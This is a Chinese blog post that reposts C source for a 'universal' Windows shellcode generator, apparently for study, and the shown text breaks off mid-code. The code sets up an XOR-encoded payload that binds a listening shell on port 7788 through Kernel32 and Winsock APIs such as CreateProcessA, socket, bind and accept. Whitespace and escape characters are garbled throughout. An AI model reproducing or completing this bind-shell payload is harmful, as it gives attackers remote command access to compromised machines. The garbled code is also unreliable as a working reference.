RELATEED CONSULTING
相关咨询
选择下列产品马上在线沟通
服务时间:9:30-18:00
你可能遇到了下面的问题
关闭右侧工具栏
学习ShellCode(一)
  • 作者:xiaoxiao
  • 发表时间:2020-12-23 10:55
  • 来源:未知

前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!

?

这个是通用的shellcode,自己在vc++下编译一下!

/*??????????? 使用C语言编写通用shellcode的程序出处:internet修改:Hume/冷雨飘心测试:Win2K SP4 Local

*/#include #include #include

#define? DEBUG 1

////函数原型//void???? DecryptSc();void???? ShellCodes();void???? PrintSc(char *lpBuff, int buffsize);

////用到的部分定义//#define? BEGINSTRLEN??? 0x08??? //开始字符串长度#define? ENDSTRLEN????? 0x08??? //结束标记字符的长度#define? nop_CODE?????? 0x90??? //填充字符#define? nop_LEN??????? 0x0???? //ShellCode起始的填充长度#define? BUFFSIZE?????? 0x20000 //输出缓冲区大小

#define? sc_PORT??????? 7788??? //绑定端口号 0x1e6c#define? sc_BUFFSIZE??? 0x2000? //ShellCode缓冲区大小

#define? Enc_key??????? 0x7A??? //编码密钥

#define? MAX_Enc_Len??? 0x400?? //加密代码的最大长度 1024足够?#define? MAX_Sc_Len???? 0x2000? //hellCode的最大长度 8192足够?#define? MAX_api_strlen 0x400?? //APIstr字符串的长度#define? API_endstr???? "strend"//API结尾标记字符串??? #define? API_endstrlen? 0x06??? //标记字符串长度

#define PROC_BEGIN __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90/?????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90#define PROC_END PROC_BEGIN//---------------------------------------------------enum{?????? //Kernel32??????????? _CreatePipe,??????????? _CreateProcessA,??????????? _CloseHandle,??????????? _PeekNamedPipe,??????????? _ReadFile,??????????? _WriteFile,??????????? _ExitProcess,

??????????? //WS2_32??????????? _socket,??????????? _bind,??????????? _listen,??????????? _accept,??????????? _send,??????????? _recv,??????????? _ioctlsocket,??????????? _closesocket,

??????????? //本机测试User32??????????? _MessageBeep,??????????? _MessageBoxA,??????????? API_num};

////代码这里开始//int __cdecl main(int argc, char **argv){? //shellcode中要用到的字符串? static char ApiStr[]="/x1e/x6c"?? //端口地址

??????????? //Kernel32的API函数名称??????????? "CreatePipe""/x0"??????????? "CreateProcessA""/x0"??????????? "CloseHandle""/x0"??????????? "PeekNamedPipe""/x0"??????????? "ReadFile""/x0"??????????? "WriteFile""/x0"??????????? "ExitProcess""/x0"